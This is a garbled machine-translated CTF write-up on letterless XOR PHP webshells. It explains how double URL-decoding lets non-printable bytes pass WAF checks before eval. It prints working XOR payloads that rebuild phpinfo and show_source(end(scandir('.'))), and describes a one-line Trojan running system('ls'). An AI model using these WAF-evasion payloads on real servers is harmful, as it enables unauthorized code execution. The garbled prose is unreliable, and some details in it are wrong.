Shulou(Shulou.com)05/31 Report--

What this article shares with you is about the principle of webshell and how the server handles the kill-free process. The editor thinks it is very practical, so I share it with you. I hope you can get something after reading this article. Let's take a look at it with the editor.

Preface

I have been in contact with rce; all the time, but I can always see that if you filter, you can consider webshell with no numbers and letters or no killing horse, but today I come across a problem that makes me deeply understand the importance of deep research; I can't rely on webshell without numbers and letters on the Internet; we need to know the details; here we know that in conventional ctf questions, we often use post or get to submit data; at last, the command is executed. But if you want to hit the command execution, you need to bypass a lot of waf;, and some layers of waf need to be bypassed before eval.

Inquiry

Based on POST

Here's a look at the XOR webshell principle and the process of handling kill-free on the server; that's why it's free; (it's not as simple as conventional understanding)

I set up an environment on the remote vps for testing; write the following code in the 125.php

Then local access writes regular XOR code execution phpinfo; here we find its successful execution

But when post submits data, we default that we must encode; in fact, we need to encode when post data is passed in; there are two reasons: one is to prevent invisible characters; the second is to prevent data loss or exception; (the first case is more); here we do not need bp to grab packets, because hackbar has already prompted for coding; how many times do we need to decode the code after we get to the browser? Many people understand that it is necessary to perform a urldecode to convert it back, so as to judge the waf. It is found that there are no numbers or letters, so you can bypass it. In fact, this is not entirely true; we can see it through practice. I added a line of code to the original 125.php to check what the data looks like after it enters the server, as shown in the figure:

Let's pass in the same characters again to see the output.

Here we see the output before waf; the output is invisible characters; that is, when the waf is passed, the original input data is not tested by waf, but the result after urldecode again; here I have communicated with Master imagin and Master Lan Xiaojun, and confirmed that the appearance of invisible characters is indeed the result of a urldecode. That is, when we pass in the data, the browser will do a urlencode, and then the data needs to be urldecode twice on the server side: then take this invisible character to match the waf; thus go around it correctly; then these invisible characters can go into the eval to perform the next operation for XOR, and then XOR will be performed as phpinfo; in the eval.

explain

Seeing that there may be a lot of masters here who are a little fascinated, they will think how invisible characters are different or how do we get the code we need, and how do we get it using invisible characters? In fact, the server is ready for us; let me first talk about my findings. I wonder if the masters have noticed our simple XOR form. ((% 8f%97%8f%96%91%99%90) ^ (% ff%ff%ff%ff%ff%ff%ff)) (); = = phpinfo () here I have repeatedly tested and come to the conclusion that the% 8f%97 and so on in front of us is the result of our inversion; phpinfo () = (~% 8f%97%8f%96%91%99%90) (); however, the% ff we use, that is, 225, is invisible. In fact, to put it bluntly, many masters know that it is% plus characters to convert to hexadecimal; we can see that here we initially gave our computers a command to find phpinfo characters that can be XOR and output them by urlencode; so our invisible characters can naturally get the characters we need on the server.

Inquiry

Based on GET

As for whether the parameters passed in by our get have passed urlencode, here we have a variety of ways to test and simply verify; we randomly write any code that accepts the parameters and executes; here we write a sentence Trojan horse in disguise

We directly execute system ("ls"); see the effect; find that it can be executed successfully

Let's look at the received parameters on the server side:

It is found that the result after urlencode has been accepted; here the server also decodes it twice; when we pass it in, the browser gives us a urlencode; and then urldecode; twice when we process the data, because we pass in letters, so the urldecode is followed by itself; then it is executed in eval; here it is proved that the parameter passed in the form of get has indeed passed through a urlencode;, and then we modify the incoming code to see the effect.

It is found that our code before eval is a character that cannot be displayed; this is the same as our POST submission; it also confirms that it did go through urldecode; twice and then XOR in eval to get phpinfo; and then eval ($_ GET ['phpinfo ();']). Get our results.

Study invisible characters

At this point, many teachers may have the illusion that the server cannot parse those invisible characters, which makes it impossible to reach them regularly, and then bypass waf;. In fact, I am going to talk about a problem I encountered at the beginning of the article. There is an interesting way to write if (count_chars (strtolower ($_), 0x3) > 0xd) in that question. Here, let me explain the meaning of this line of code. The server converts the code accepted from'_'to lowercase, and then performs the cout_chars method; when the second parameter is 3, the function of this method is to count the different characters in the first parameter; because 0x3 is hexadecimal and decimal 3, so this line of code means to convert to lowercase first, and then collect different characters; then iterate through the number, and if it is greater than 13, it will be dropped by ban So according to our previous account, if the server cannot recognize invisible characters, it should be able to bypass it, but my structure is different from that of the answer, but the thought is the same but cannot be bypassed. Here is my payload and the payload of the standard answer.

The payload I constructed myself: (% 9b%9b%9b%9b%9b%9b%9b%9b%9b%9b%9b) ^ (% 8d%96%9c%9b%9b%9b%9c%9c%9b%9b%9b) ^ (% 9a%9a%97%88%a0%8c%97%8d%8d%9c%9a) ^ (% ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)) ((% 9b%9b%9b) ^ (% 9b%9b%8c) ^ (% 9a%91%8c) ^ (% ff%ff%ff) ((% 9b%9b%9b%9b%9b%9b%9b) ^ (% 9b%9b%8d%9b%8c%9b%9b) ^ (% 8c%9c%88%91%8c%96%8d) ^ (% ff%ff%ff%ff%ff%ff%ff)) (% D1 ^% ff) = = show_source (end (scandir ('.')

Payload of the answer: ((% 8d%9c%97%a0%88%8d%97%8d%9c%a0%a0) ^ (% 9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a) ^ (% 9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0) ^ (% ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)) ((% a0% 97% 8d) ^ (% 9a) % 9a%9b) ^ (% a0%9c%8d) ^ (% ff%ff%ff) ((% 8d%a0%88%97%8d%9b%9c) ^ (% 9a%9c%8d%9a%9b%9a%8d) ^ (% 9b%a0%9b%9c%8d%97%9c) ^ (% ff%ff%ff%ff%ff%ff%ff)) (% D1 ^% ff) Here we both have the same thought structure, which is based on XOR webshell. The idea here is to achieve as small a category as possible; so here we use three XOR; to minimize the probability of different occurrence; my payload is not successful; the answer is yes; but the idea is good, but we overlook one point.

In fact, the idea of construction from the beginning of this question is wrong. We should not want to construct the so-called% 8d%9c in our payload. If we only talk about it from this point of view, my payload can also pass, and it is a full past. However, mine did not go in the past; instead, I died in a place where there are more than 13 kinds of things. (interested masters can try my payload. ) We should actually start with the number of different kinds of invisible characters when our server passes through waf, which indirectly proves that although invisible characters are invisible, it is because the server cannot output, and it is not really non-existent, in fact, those characters are different; such as asdf, these different characters; we just can't see them. So how on earth did this question come up with something like the answer that bypassed waf in the case of invisible characters? Then there's only fuzz; mindless fuzz; or script to blow up.

I will explain here for XOR webshell, in fact, a lot of things can be analogical reasoning, knowing the principle that XOR webshell is not killed and what should be paid attention to, we can also deduce that the essence of inverted webshell; and self-increasing webshell; is almost the same; there is not too much repetition here; people who are interested can reproduce themselves.

The above is the principle of webshell and how the server handles the kill-free process. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.